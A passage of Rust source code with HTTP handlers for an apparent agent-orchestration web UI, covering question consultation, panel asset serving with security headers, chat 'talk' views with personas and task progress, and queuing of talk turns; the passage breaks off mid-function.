7685 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7686 }
7687 } else {
7688 error
7689 }
7690}
7691
7692#[derive(Debug, Deserialize)]
7694#[serde(deny_unknown_fields)]
7695struct NewSay {
7696 body: String,
7697}
7698
7699async fn question_say(
7709 State(ui): State<Arc<Ui>>,
7710 Path(id): Path<String>,
7711 body: std::result::Result<Json<NewSay>, JsonRejection>,
7712) -> ApiResult<Json<QuestionView>> {
7713 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7714 blocking(move || {
7715 let id = resolve_question(&ui.questions, &id)?;
7716 let q = ui
7717 .questions
7718 .get(&id)
7719 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7720 if !q.status.open() {
7721 return Err(ApiError::conflict(format!(
7725 "question {} is already {}",
7726 q.short(),
7727 q.status.as_str()
7728 )));
7729 }
7730 let cfg = deputy_config(&ui.repo);
7733 let (q, ()) = ui
7734 .questions
7735 .update(&q.id, |r| {
7736 if body.body.trim().is_empty() {
7737 return r.say(body.body);
7738 }
7739 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7740 r.say(body.body)
7741 })
7742 .map_err(question_text_error)?;
7743 let (tasks, talks, watches) =
7744 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7745 Ok(Json(
7746 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7747 ))
7748 })
7749 .await
7750}
7751
7752async fn admitted<T: Send + 'static>(
7755 admission: AdmissionGuard,
7756 work: impl Future<Output = ApiResult<T>> + Send + 'static,
7757) -> ApiResult<T> {
7758 tokio::spawn(async move {
7759 let result = work.await;
7760 drop(admission);
7761 result
7762 })
7763 .await
7764 .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
7765}
7766
7767async fn question_consult(
7776 State(ui): State<Arc<Ui>>,
7777 Path(id): Path<String>,
7778) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7779 let admission = ui.begin_admission()?;
7780 admitted(admission, async move {
7781 let (q, tasks, talks, watches, talk, cfg) = blocking({
7782 let ui = Arc::clone(&ui);
7783 move || {
7784 let id = resolve_question(&ui.questions, &id)?;
7785 let q = ui.questions.get(&id).map_err(|e| {
7786 ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
7787 })?;
7788 if !q.status.open() {
7789 return Err(ApiError::conflict(format!(
7790 "question {} is already {}",
7791 q.short(),
7792 q.status.as_str()
7793 )));
7794 }
7795 let (tasks, talks, watches) =
7796 question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7797 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7798 return Err(ApiError::conflict(format!(
7799 "question {} has no chat to ask",
7800 q.short()
7801 )));
7802 };
7803 let cfg = if q.consult.is_none() {
7807 Some(Config::discover(&talk.repo, None)?.0)
7808 } else {
7809 None
7810 };
7811 Ok((q, tasks, talks, watches, talk, cfg))
7812 }
7813 })
7814 .await?;
7815 let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
7816 .await
7817 .map_err(ApiError::from)?;
7818 let (view, reclaimed, submitted) = blocking({
7819 let ui = Arc::clone(&ui);
7820 move || {
7821 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7822 let claim = if fresh {
7823 match ui.begin_queued_talk_turn(&talk.id)? {
7824 Some(turn_guard) => {
7825 let talk = ui.talks.get(&talk.id)?;
7826 let cfg = match cfg {
7827 Some(cfg) => cfg,
7828 None => Config::discover(&talk.repo, None)?.0,
7829 };
7830 Some((talk, cfg, turn_guard))
7831 }
7832 None => None,
7833 }
7834 } else {
7835 None
7836 };
7837 let q = ui.questions.get(&q.id)?;
7838 let cfg = deputy_config(&ui.repo);
7839 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7840 .with_origin(&tasks, &talks, &watches);
7841 Ok((view, claim, fresh.then_some(talk.id)))
7842 }
7843 })
7844 .await?;
7845 #[cfg(not(test))]
7846 {
7847 if let Some(id) = submitted {
7848 crate::consult::spawn_turn(&ui.talks, &id)
7849 .await
7850 .map_err(ApiError::from)?;
7851 }
7852 drop(reclaimed);
7853 }
7854 #[cfg(test)]
7855 let _ = submitted;
7856 #[cfg(test)]
7857 if let Some((talk, cfg, turn_guard)) = reclaimed {
7858 let talks = ui.talks.clone();
7859 let id = talk.id.clone();
7860 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7861 }
7862 Ok((StatusCode::ACCEPTED, Json(view)))
7863 })
7864 .await
7865}
7866
7867fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7869 if plain_record_id(id) && store.path_of(id).is_file() {
7870 return Ok(id.to_owned());
7871 }
7872 pick(
7873 store.list().into_iter().map(|q| q.id).collect(),
7874 id,
7875 "question",
7876 )
7877}
7878
7879async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7894 blocking(move || {
7895 let id = resolve_question(&ui.questions, &id)?;
7896 let Some(html) = ui.questions.panel_html(&id) else {
7897 return Err(ApiError::not_found(format!("question {id} has no panel")));
7898 };
7899 Ok(panel_response(
7900 "text/html; charset=utf-8",
7901 false,
7902 html.into_bytes(),
7903 ))
7904 })
7905 .await
7906}
7907
7908async fn question_asset(
7936 State(ui): State<Arc<Ui>>,
7937 Path((id, name)): Path<(String, String)>,
7938) -> ApiResult<Response> {
7939 if !crate::ask::valid_asset_name(&name) {
7942 return Err(ApiError::bad_request(format!(
7943 "`{name}` is not a usable asset name"
7944 )));
7945 }
7946 blocking(move || {
7947 let id = resolve_question(&ui.questions, &id)?;
7948 let asset = ui
7949 .questions
7950 .panel_asset(&id, &name)
7951 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7952 let Some(bytes) = asset else {
7953 return Err(ApiError::not_found(format!(
7954 "question {id} has no asset `{name}`"
7955 )));
7956 };
7957 Ok(panel_response(
7958 asset_content_type(&name),
7959 is_svg(&name),
7960 bytes,
7961 ))
7962 })
7963 .await
7964}
7965
7966fn asset_content_type(name: &str) -> &'static str {
7979 match extension(name).as_deref() {
7980 Some("png") => "image/png",
7981 Some("jpg" | "jpeg") => "image/jpeg",
7982 Some("gif") => "image/gif",
7983 Some("webp") => "image/webp",
7984 Some("svg") => "image/svg+xml",
7985 Some("css") => "text/css; charset=utf-8",
7986 Some("txt") => "text/plain; charset=utf-8",
7987 _ => "application/octet-stream",
7988 }
7989}
7990
7991fn is_svg(name: &str) -> bool {
7994 extension(name).as_deref() == Some("svg")
7995}
7996
7997fn extension(name: &str) -> Option<String> {
7999 name.rsplit_once('.')
8000 .map(|(_, ext)| ext.to_ascii_lowercase())
8001}
8002
8003fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8020 let mut res = (
8021 [
8022 (header::CONTENT_TYPE, content_type),
8023 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8024 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8025 (header::REFERRER_POLICY, "no-referrer"),
8026 ],
8027 body,
8028 )
8029 .into_response();
8030 if download {
8031 res.headers_mut().insert(
8032 header::CONTENT_DISPOSITION,
8033 HeaderValue::from_static("attachment"),
8034 );
8035 }
8036 res
8037}
8038
8039#[derive(Debug, Serialize)]
8045struct ChatApproval {
8046 question: String,
8047 target: crate::merge_decision::Target,
8048}
8049
8050#[derive(Debug, Serialize)]
8051struct TalkView {
8052 #[serde(flatten)]
8053 talk: Talk,
8054 turn_bodies_md: Vec<Vec<md::Node>>,
8055 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8057 pending_messages_md: Vec<Option<Vec<md::Node>>>,
8058 merge_approvals: Vec<ChatApproval>,
8059 thinking: bool,
8067 context: talk::ContextUsage,
8071 operator_name: Option<String>,
8074 persona_name: Option<String>,
8076 persona_avatar: String,
8079 operator_avatar: String,
8081 magi_avatar: String,
8082}
8083
8084impl TalkView {
8085 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8088 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8089 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8090 }
8091
8092 fn with_config(
8095 talk: Talk,
8096 thinking: bool,
8097 cfg: Option<&Config>,
8098 home: &FsPath,
8099 cache: &id_links::IndexCache,
8100 ) -> Self {
8101 let references = cache.for_talk(home, &talk);
8102 Self::with_references(talk, thinking, cfg, home, &references)
8103 }
8104
8105 fn with_references(
8106 mut talk: Talk,
8107 thinking: bool,
8108 cfg: Option<&Config>,
8109 home: &FsPath,
8110 references: &id_links::IdIndex,
8111 ) -> Self {
8112 let snapshot = talk.clone();
8114 for (index, turn) in talk.turns.iter_mut().enumerate() {
8115 let original = &snapshot.turns[index];
8116 if turn.messages.is_empty() {
8117 if let Some(display) = talk::notice_display(&snapshot, original, None) {
8118 turn.messages.push(talk::Message {
8119 sender: Some(talk::Sender::Magi),
8120 body: original.body.clone(),
8121 display: Some(display),
8122 attachments: original.attachments.clone(),
8123 reply: None,
8124 });
8125 }
8126 } else {
8127 for (i, message) in turn.messages.iter_mut().enumerate() {
8128 message.display =
8129 talk::notice_display(&snapshot, original, original.messages.get(i));
8130 if message.display.is_some() {
8131 message.sender = Some(talk::Sender::Magi);
8132 }
8133 }
8134 }
8135 }
8136 for message in &mut talk.pending_messages {
8137 if message.display.is_none()
8138 && (message.sender == Some(talk::Sender::Magi)
8139 || snapshot
8140 .completion_notices
8141 .iter()
8142 .any(|r| r.notice == message.body))
8143 {
8144 message.display = crate::prompt::legacy_notice_display(&message.body);
8145 if message.display.is_some() {
8146 message.sender = Some(talk::Sender::Magi);
8147 }
8148 }
8149 }
8150 if talk.pending_messages.is_empty()
8151 && snapshot
8152 .completion_notices
8153 .iter()
8154 .any(|r| r.notice == talk.pending)
8155 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8156 {
8157 talk.pending_messages.push(talk::Message {
8158 sender: Some(talk::Sender::Magi),
8159 display: Some(display),
8160 body: talk.pending.clone(),
8161 attachments: talk.pending_attachments.clone(),
8162 reply: None,
8163 });
8164 }
8165 let excerpts: Vec<Vec<Option<String>>> = talk
8166 .turns
8167 .iter()
8168 .map(|turn| {
8169 turn.messages
8170 .iter()
8171 .map(|m| {
8172 m.display
8173 .as_ref()
8174 .map(|d| d.facts.chars().take(240).collect())
8175 })
8176 .collect()
8177 })
8178 .collect();
8179 for turn in &mut talk.turns {
8180 let provenance = talk::sender(turn, None);
8181 turn.sender = Some(provenance);
8182 for message in &mut turn.messages {
8183 message.sender = Some(message.sender.unwrap_or(provenance));
8184 }
8185 }
8186 let senders: Vec<Vec<talk::Sender>> = talk
8188 .turns
8189 .iter()
8190 .map(|turn| {
8191 if turn.messages.is_empty() {
8192 vec![talk::sender(turn, None)]
8193 } else {
8194 turn.messages
8195 .iter()
8196 .map(|m| talk::sender(turn, Some(m)))
8197 .collect()
8198 }
8199 })
8200 .collect();
8201 for reply in talk
8202 .turns
8203 .iter_mut()
8204 .flat_map(|t| t.messages.iter_mut())
8205 .chain(talk.pending_messages.iter_mut())
8206 .filter_map(|m| m.reply.as_mut())
8207 {
8208 if let Some(Some(excerpt)) = excerpts
8209 .get(reply.target.turn)
8210 .and_then(|ms| ms.get(reply.target.message))
8211 {
8212 reply.excerpt = excerpt.clone();
8213 reply.sender = Some(talk::Sender::Magi);
8214 }
8215 if reply.sender.is_none() {
8216 reply.sender = senders
8217 .get(reply.target.turn)
8218 .and_then(|messages| messages.get(reply.target.message))
8219 .copied();
8220 }
8221 }
8222 let context = talk::context_usage(&talk, cfg);
8223 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8224 .turns
8225 .iter()
8226 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8227 .collect();
8228 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8229 .turns
8230 .iter()
8231 .map(|turn| {
8232 if turn.messages.is_empty() {
8233 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8234 } else {
8235 turn.messages
8236 .iter()
8237 .map(|message| {
8238 notice_markdown(
8239 message.sender.unwrap_or(talk::Sender::Operator),
8240 &message.body,
8241 message.display.as_ref(),
8242 )
8243 })
8244 .collect()
8245 }
8246 })
8247 .collect();
8248 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8249 .pending_messages
8250 .iter()
8251 .map(|message| {
8252 notice_markdown(
8253 message.sender.unwrap_or(talk::Sender::Operator),
8254 &message.body,
8255 message.display.as_ref(),
8256 )
8257 })
8258 .collect();
8259 for nodes in &mut turn_bodies_md {
8260 references.markdown(nodes);
8261 }
8262 for nodes in turn_messages_md
8263 .iter_mut()
8264 .flatten()
8265 .chain(pending_messages_md.iter_mut())
8266 .flatten()
8267 {
8268 references.markdown(nodes);
8269 }
8270 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8271 let persona_name = persona::find(specs, &talk.persona)
8272 .filter(|p| !p.is_default())
8273 .map(|p| p.name);
8274 let mut avatar_persona = persona::find(specs, &talk.persona)
8275 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8276 if avatar_persona.id != talk.persona
8278 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8279 {
8280 avatar_persona.id.clone_from(&talk.persona);
8281 avatar_persona.icon = None;
8282 }
8283 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8284 let approvals_store = ask::Questions::at(home.join("questions"));
8285 let merge_approvals = talk
8286 .notified
8287 .iter()
8288 .filter_map(|key| key.strip_prefix("question:"))
8289 .filter_map(|id| approvals_store.get(id).ok())
8290 .filter(|q| crate::task_chat::approval_offered(&talk, q))
8291 .filter_map(|q| {
8292 Some(ChatApproval {
8293 question: q.id,
8294 target: q.merge_target?,
8295 })
8296 })
8297 .collect();
8298 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8299 Self {
8300 turn_bodies_md,
8301 turn_messages_md,
8302 pending_messages_md,
8303 merge_approvals,
8304 thinking,
8305 context,
8306 operator_name,
8307 persona_name,
8308 persona_avatar,
8309 magi_avatar: magi_icon_url(home),
8310 operator_avatar: operator_icon_url(home),
8311 talk,
8312 }
8313 }
8314}
8315
8316fn notice_markdown(
8318 sender: talk::Sender,
8319 body: &str,
8320 display: Option<&crate::prompt::NoticeDisplay>,
8321) -> Option<Vec<md::Node>> {
8322 if sender != talk::Sender::Magi {
8323 return None;
8324 }
8325 let text = if let Some(display) = display {
8326 display.facts.as_str()
8327 } else {
8328 if crate::prompt::is_completion_notice(body)
8331 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8332 {
8333 return None;
8334 }
8335 body.strip_prefix("magi: ").unwrap_or(body)
8336 };
8337 Some(md::to_nodes(text, &md::ImageBase::None))
8338}
8339
8340#[derive(Debug, Serialize)]
8345struct TalkDetailView {
8346 #[serde(flatten)]
8347 view: TalkView,
8348 tasks: Vec<TaskView>,
8349 task_progress: TalkTaskProgress,
8350 roster: Vec<RosterEntry>,
8353 personas: Vec<PersonaEntry>,
8356}
8357
8358#[derive(Debug, Serialize)]
8360struct TalkTaskProgress {
8361 state: &'static str,
8362 total: usize,
8363 done: usize,
8364 counts: std::collections::BTreeMap<&'static str, usize>,
8365 unfinished_ids: Vec<String>,
8366}
8367
8368fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8369 let mut counts = std::collections::BTreeMap::from([
8370 ("queued", 0),
8371 ("running", 0),
8372 ("done", 0),
8373 ("failed", 0),
8374 ("held", 0),
8375 ("blocked", 0),
8376 ("parked", 0),
8377 ]);
8378 let mut unfinished_ids = Vec::new();
8379 for task in tasks {
8380 *counts.entry(task.status.as_str()).or_default() += 1;
8381 if task.status != TaskStatus::Done {
8382 unfinished_ids.push(task.id.clone());
8383 }
8384 }
8385 TalkTaskProgress {
8386 state: if tasks.is_empty() {
8387 "none"
8388 } else if unfinished_ids.is_empty() {
8389 "complete"
8390 } else {
8391 "incomplete"
8392 },
8393 total: tasks.len(),
8394 done: tasks.len() - unfinished_ids.len(),
8395 counts,
8396 unfinished_ids,
8397 }
8398}
8399
8400#[derive(Debug, Serialize)]
8402struct PersonaEntry {
8403 id: String,
8404 name: String,
8405 avatar: String,
8407}
8408
8409#[derive(Debug, Serialize)]
8411struct RosterEntry {
8412 id: String,
8413 kind: AgentKind,
8414 runnable: bool,
8416}
8417
8418async fn talks_list(
8423 State(ui): State<Arc<Ui>>,
8424 Query(q): Query<ListQuery>,
8425) -> ApiResult<Json<Vec<TalkView>>> {
8426 blocking(move || {
8427 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8428 let talks = q.ids.as_ref().map_or_else(
8429 || ui.talks.list(),
8430 |ids| {
8431 ids.split(',')
8432 .filter(|id| plain_record_id(id))
8433 .filter_map(|id| ui.talks.get(id).ok())
8434 .collect()
8435 },
8436 );
8437 let references = if talks.iter().any(id_links::has_references) {
8438 ui.references.get(
8439 &ui.runs,
8440 &ui.queue,
8441 &ui.questions,
8442 &ui.talks,
8443 talks.iter().any(id_links::has_findings),
8444 )
8445 } else {
8446 Arc::new(id_links::IdIndex::default())
8447 };
8448 Ok(Json(
8449 talks
8450 .into_iter()
8451 .filter(|talk| q.contains(&talk.id))
8452 .map(|talk| {
8453 let thinking = ui.is_thinking(&talk.id);
8454 let cfg = configs
8455 .entry(talk.repo.clone())
8456 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8457 TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8458 })
8459 .collect(),
8460 ))
8461 })
8462 .await
8463}
8464
8465#[derive(Debug, Default, Deserialize)]
8470#[serde(default)]
8471struct NewTalk {
8472 agent: Option<String>,
8473 repo: Option<PathBuf>,
8474 preferred_agent: Option<serde_json::Value>,
8478 persona: Option<serde_json::Value>,
8479 implementers: Option<serde_json::Value>,
8480}
8481
8482async fn talk_post(
8485 State(ui): State<Arc<Ui>>,
8486 body: std::result::Result<Json<NewTalk>, JsonRejection>,
8487) -> ApiResult<impl IntoResponse> {
8488 let body = match body {
8492 Ok(Json(body)) => body,
8493 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8494 Err(e) => return Err(ApiError::bad_request(e.body_text())),
8495 };
8496 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8497 let cfg = config_for(&repo).await?;
8498 let view = blocking(move || {
8499 let preferred = talk::Preferred {
8500 agent: body
8501 .preferred_agent
8502 .as_ref()
8503 .and_then(|v| v.as_str())
8504 .map(str::to_owned),
8505 persona: body
8506 .persona
8507 .as_ref()
8508 .and_then(|v| v.as_str())
8509 .map(str::to_owned),
8510 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8511 };
8512 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8513 let thinking = ui.is_thinking(&talk.id);
8514 Ok(TalkView::new(talk, thinking, &ui))
8515 })
8516 .await?;
8517 Ok((StatusCode::CREATED, Json(view)))
8518}
8519
8520async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8522 blocking(move || {
8523 let id = resolve_talk(&ui.talks, &id)?;
8524 let talk = ui.talks.get(&id)?;
8525 let thinking = ui.is_thinking(&id);
8526 Ok(Json(TalkView::with_references(
8529 talk,
8530 thinking,
8531 None,
8532 &ui.home,
8533 &id_links::IdIndex::default(),
8534 )))
8535 })
8536 .await
8537}
8538
8539async fn talk_sections(
8540 State(ui): State<Arc<Ui>>,
8541 Path(id): Path<String>,
8542) -> ApiResult<Json<serde_json::Value>> {
8543 blocking(move || {
8544 let id = resolve_talk(&ui.talks, &id)?;
8545 let talk = ui.talks.get(&id)?;
8546 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8547 let task_progress = talk_task_progress(&tasks);
8548 let tasks: Vec<_> = tasks
8549 .into_iter()
8550 .map(|task| {
8551 serde_json::json!({
8552 "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8553 })
8554 })
8555 .collect();
8556 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8557 let roster: Vec<_> = cfg
8558 .as_ref()
8559 .map(|cfg| {
8560 cfg.agents
8561 .iter()
8562 .map(|a| RosterEntry {
8563 id: a.id.clone(),
8564 kind: a.kind,
8565 runnable: agent::installed(a),
8566 })
8567 .collect()
8568 })
8569 .unwrap_or_default();
8570 let specs = cfg
8571 .as_ref()
8572 .map(|cfg| cfg.talk.personas.clone())
8573 .unwrap_or_default();
8574 let personas: Vec<_> = persona::catalog(&specs)
8575 .into_iter()
8576 .map(|p| PersonaEntry {
8577 avatar: avatar_url(&ui.home, &talk.id, &p),
8578 id: p.id,
8579 name: p.name,
8580 })
8581 .collect();
8582 let active_persona = persona::find(&specs, &talk.persona)
8583 .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8584 let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8585 let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8586 Ok(Json(serde_json::json!({
8587 "tasks": tasks, "task_progress": task_progress,
8588 "roster": roster, "personas": personas,
8589 "context": talk::context_usage(&talk, cfg.as_ref()),
8590 "context_for": talk.updated_at,
8591 "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8592 "persona_name": persona_name,
8593 "persona_avatar": persona_avatar,
8594 })))
8595 })
8596 .await
8597}
8598
8599async fn talk_detail(
8601 State(ui): State<Arc<Ui>>,
8602 Path(id): Path<String>,
8603) -> ApiResult<Json<TalkDetailView>> {
8604 blocking(move || {
8605 let id = resolve_talk(&ui.talks, &id)?;
8606 let talk = ui.talks.get(&id)?;
8607 let thinking = ui.is_thinking(&talk.id);
8608 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8609 let task_progress = talk_task_progress(&tasks);
8610 let tasks = tasks.into_iter().map(TaskView::from).collect();
8611 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8612 let roster = cfg
8613 .as_ref()
8614 .map(|cfg| {
8615 cfg.agents
8616 .iter()
8617 .map(|a| RosterEntry {
8618 id: a.id.clone(),
8619 kind: a.kind,
8620 runnable: agent::installed(a),
8621 })
8622 .collect()
8623 })
8624 .unwrap_or_default();
8625 let specs = cfg
8626 .as_ref()
8627 .map(|cfg| cfg.talk.personas.clone())
8628 .unwrap_or_default();
8629 let personas = persona::catalog(&specs)
8630 .into_iter()
8631 .map(|p| PersonaEntry {
8632 avatar: avatar_url(&ui.home, &talk.id, &p),
8633 id: p.id,
8634 name: p.name,
8635 })
8636 .collect();
8637 Ok(Json(TalkDetailView {
8638 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8639 tasks,
8640 task_progress,
8641 roster,
8642 personas,
8643 }))
8644 })
8645 .await
8646}
8647
8648#[derive(Debug, Default, Deserialize)]
8654#[serde(default, deny_unknown_fields)]
8655struct NewTalkTurn {
8656 reply_to: Option<talk::ReplyTarget>,
8657 text: String,
8658 attachments: Vec<String>,
8659}
8660
8661#[derive(Debug, Deserialize)]
8662#[serde(deny_unknown_fields)]
8663struct EditTalkPending {
8664 #[serde(default)]
8665 message: Option<usize>,
8666 text: String,
8667 expected_text: String,
8668 expected_attachments: Vec<String>,
8669}
8670
8671#[derive(Debug, Deserialize)]
8672#[serde(deny_unknown_fields)]
8673struct ClearTalkPending {
8674 expected_text: String,
8675 expected_attachments: Vec<String>,
8676}
8677
8678async fn talk_say(
8690 State(ui): State<Arc<Ui>>,
8691 Path(id): Path<String>,
8692 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8693) -> ApiResult<(StatusCode, Json<TalkView>)> {
8694 let admission = ui.begin_admission()?;
8695 admitted(admission, async move {
8696 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8697 if body.text.trim().is_empty() && body.attachments.is_empty() {
8698 return Err(ApiError::bad_request("say something"));
8699 }
8700
8701 let id = {
8702 let ui = Arc::clone(&ui);
8703 let asked = id.clone();
8704 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8705 };
8706 {
8710 let ui = Arc::clone(&ui);
8711 let id = id.clone();
8712 blocking(move || {
8713 let talk = ui.talks.get(&id)?;
8714 if !talk.status.open() {
8715 return Err(ApiError::conflict(format!(
8716 "talk {} is {} and takes no more turns",
8717 talk.short(),
8718 talk.status.as_str()
8719 )));
8720 }
8721 Ok(())
8722 })
8723 .await?;
8724 }
8725
8726 let attachments = {
8731 let ui = Arc::clone(&ui);
8732 let id = id.clone();
8733 let ids = body.attachments.clone();
8734 blocking(move || {
8735 ids.into_iter()
8736 .map(|att_id| {
8737 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8738 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8739 })
8740 })
8741 .collect::<ApiResult<Vec<talk::Attachment>>>()
8742 })
8743 .await?
8744 };
8745 let _publication = crate::consult::publication_guard(&ui.talks, &id)
8746 .await.map_err(ApiError::from)?;
8747
8748 let start = {
8753 let ui = Arc::clone(&ui);
8754 let id = id.clone();
8755 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8756 };
8757 let turn_guard = match start {
8758 TalkTurnStart::Claimed(turn_guard) => turn_guard,
8759 TalkTurnStart::Pending => {
8760 return Err(ApiError::conflict(
8761 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8762 ));
8763 }
8764 TalkTurnStart::Foreign => {
8765 return Err(ApiError::conflict(
8766 "a turn is already running in another process; try again when it has finished",
8767 ));
8768 }
8769 TalkTurnStart::Busy => {
8770 let (tx, rx) = tokio::sync::oneshot::channel();
8786 tokio::spawn({
8787 let ui = Arc::clone(&ui);
8788 let id = id.clone();
8789 let said = body.text.clone();
8790 let reply_to = body.reply_to.clone();
8791 async move {
8792 let written = blocking({
8793 let ui = Arc::clone(&ui);
8794 let id = id.clone();
8795 move || {
8796 let mut talk = ui.talks.get(&id)?;
8797 #[cfg(test)]
8802 if let Some(gate) = ui
8803 .busy_queue_gate
8804 .lock()
8805 .unwrap_or_else(PoisonError::into_inner)
8806 .take()
8807 {
8808 let _ = gate.reached.send(());
8809 let _ = gate.release.recv();
8810 }
8811 if let Err(error) = talk::queue_reply(
8812 &mut talk,
8813 &ui.talks,
8814 &said,
8815 attachments,
8816 reply_to,
8817 ) {
8818 if let Ok(fresh) = ui.talks.get(&id) {
8819 if !fresh.status.open() {
8820 return Err(ApiError::conflict(format!(
8821 "talk {} is {} and takes no more turns",
8822 fresh.short(),
8823 fresh.status.as_str()
8824 )));
8825 }
8826 }
8827 return Err(
8828 if error.to_string().contains("invalid reply target") {
8829 ApiError::bad_request("invalid reply target")
8830 } else {
8831 ApiError::from(error)
8832 },
8833 );
8834 }
8835 let claim = match ui.begin_queued_talk_turn(&id)? {
8846 Some(turn_guard) => {
8847 let (cfg, _) = Config::discover(&talk.repo, None)?;
8848 Some((talk.clone(), cfg, turn_guard))
8849 }
8850 None => None,
8851 };
8852 let thinking = ui.is_thinking(&id);
8853 Ok((TalkView::new(talk, thinking, &ui), claim))
8854 }
8855 })
8856 .await;
8857 #[cfg(not(test))]
8858 {
8859 match written {
8860 Ok((view, reclaimed)) => {
8861 let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
8862 drop(reclaimed);
8863 match launched {
8864 Ok(_) => { let _ = tx.send(Ok(view)); }
8865 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8866 }
8867 }
8868 Err(error) => { let _ = tx.send(Err(error)); }
8869 }
8870 }
8871 #[cfg(test)]
8872 {
8873 let (view, reclaimed) = match written {
8874 Ok(pair) => pair,
8875 Err(e) => {
8876 let _ = tx.send(Err(e));
8881 return;
8882 }
8883 };
8884 let _ = tx.send(Ok(view));
8887 if let Some((talk, cfg, turn_guard)) = reclaimed {
8888 let talks = ui.talks.clone();
8889 drain_loop(talk, talks, cfg, id, turn_guard).await;
8890 }
8891 }
8892 }
8893 });
8894 let view = rx
8895 .await
8896 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8897 return Ok((StatusCode::ACCEPTED, Json(view)));
8898 }
8899 };
8900
8901 let (talk, cfg) = {
8902 let ui = Arc::clone(&ui);
8903 let id = id.clone();
8904 blocking(move || {
8905 let talk = ui.talks.get(&id)?;
8906 let (cfg, _) = Config::discover(&talk.repo, None)?;
8907 Ok((talk, cfg))
8908 })
8909 .await?
8910 };
8911
8912 let talks = ui.talks.clone();
8913 let (tx, rx) = tokio::sync::oneshot::channel();
8928 tokio::spawn({
8929 #[cfg(test)]
8930 let ui = Arc::clone(&ui);
8931 let talks = talks.clone();
8932 let id = id.clone();
8933 let said = body.text.clone();
8934 let reply_to = body.reply_to.clone();
8935 let mut talk = talk.clone();
8936 async move {
8937 let recorded = blocking({
8938 let talks = talks.clone();
8939 move || {
8940 if let Err(error) =
8941 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8942 {
8943 if let Ok(fresh) = talks.get(&talk.id) {
8944 if !fresh.status.open() {
8945 return Err(ApiError::conflict(format!(
8946 "talk {} is {} and takes no more turns",
8947 fresh.short(),
8948 fresh.status.as_str()
8949 )));
8950 }
8951 }
8952 return Err(if error.to_string().contains("invalid reply target") {
8953 ApiError::bad_request("invalid reply target")
8954 } else {
8955 ApiError::from(error)
8956 });
8957 }
8958 Ok((said.trim().to_owned(), talk))
8964 }
8965 })
8966 .await;
8967 let (text, talk) = match recorded {
8968 Ok(pair) => pair,
8969 Err(e) => {
8970 let _ = tx.send(Err(e));
8974 return;
8975 }
8976 };
